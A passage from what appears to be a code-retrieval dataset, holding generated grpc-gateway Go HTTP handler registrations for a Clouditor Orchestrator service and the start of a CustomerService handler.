metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_RemoveCatalog_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_Orchestrator_UpdateCatalog_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/UpdateCatalog\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/catalogs/{catalog.id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_UpdateCatalog_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_UpdateCatalog_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_GetCategory_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/GetCategory\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/catalogs/{catalog_id}/category/{category_name}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_GetCategory_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_GetCategory_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_ListControls_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/ListControls\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/controls\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_ListControls_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_ListControls_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_ListControls_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/ListControls\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/catalogs/{catalog_id}/categories/{category_name}/controls\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_ListControls_1(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_ListControls_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_GetControl_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/GetControl\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/catalogs/{catalog_id}/categories/{category_name}/controls/{control_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_GetControl_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_GetControl_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Orchestrator_CreateTargetOfEvaluation_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/CreateTargetOfEvaluation\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/toes\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_CreateTargetOfEvaluation_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_CreateTargetOfEvaluation_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_GetTargetOfEvaluation_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/GetTargetOfEvaluation\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services/{cloud_service_id}/toes/{catalog_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_GetTargetOfEvaluation_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_GetTargetOfEvaluation_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_ListControlsInScope_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/ListControlsInScope\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services/{cloud_service_id}/toes/{catalog_id}/controls_in_scope\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_ListControlsInScope_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_ListControlsInScope_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Orchestrator_AddControlToScope_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/AddControlToScope\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services/{scope.target_of_evaluation_cloud_service_id}/toes/{scope.target_of_evaluation_catalog_id}/controls_in_scope\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_AddControlToScope_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_AddControlToScope_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_Orchestrator_UpdateControlInScope_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/UpdateControlInScope\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services/{scope.target_of_evaluation_cloud_service_id}/toes/{scope.target_of_evaluation_catalog_id}/controls_in_scope/categories/{scope.control_category_name}/controls/{scope.control_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_UpdateControlInScope_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_UpdateControlInScope_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_Orchestrator_RemoveControlFromScope_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/RemoveControlFromScope\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services/{cloud_service_id}/toes/{catalog_id}/controls_in_scope/categories/{control_category_name}/controls/{control_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_RemoveControlFromScope_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_RemoveControlFromScope_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_ListTargetsOfEvaluation_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/ListTargetsOfEvaluation\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/toes\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_ListTargetsOfEvaluation_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_ListTargetsOfEvaluation_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_ListTargetsOfEvaluation_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/ListTargetsOfEvaluation\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services/{cloud_service_id}/toes\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_ListTargetsOfEvaluation_1(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_ListTargetsOfEvaluation_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_ListTargetsOfEvaluation_2, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/ListTargetsOfEvaluation\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/catalogs/{catalog_id}/toes\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_ListTargetsOfEvaluation_2(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_ListTargetsOfEvaluation_2(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_Orchestrator_UpdateTargetOfEvaluation_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/UpdateTargetOfEvaluation\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services/{target_of_evaluation.cloud_service_id}/toes/{target_of_evaluation.catalog_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_UpdateTargetOfEvaluation_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_UpdateTargetOfEvaluation_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_Orchestrator_RemoveTargetOfEvaluation_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/RemoveTargetOfEvaluation\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/cloud_services/{cloud_service_id}/toes/{catalog_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_RemoveTargetOfEvaluation_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_RemoveTargetOfEvaluation_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Orchestrator_GetRuntimeInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tctx, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/clouditor.orchestrator.v1.Orchestrator/GetRuntimeInfo\", runtime.WithHTTPPathPattern(\"/v1/orchestrator/runtime_info\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Orchestrator_GetRuntimeInfo_0(ctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Orchestrator_GetRuntimeInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "f909d9f7cfd1fe82f75be36853412344", "score": "0.61142427", "text": "func RegisterCustomerServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server CustomerServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_CustomerService_CreateCustomerService_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_CreateCustomerService_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_CreateCustomerService_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_CustomerService_GetCustomer_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_GetCustomer_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_GetCustomer_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_CustomerService_SearchCustomer_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_SearchCustomer_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_SearchCustomer_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_CustomerService_GetAllCustomers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_CustomerService_UpdateCustomer_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, 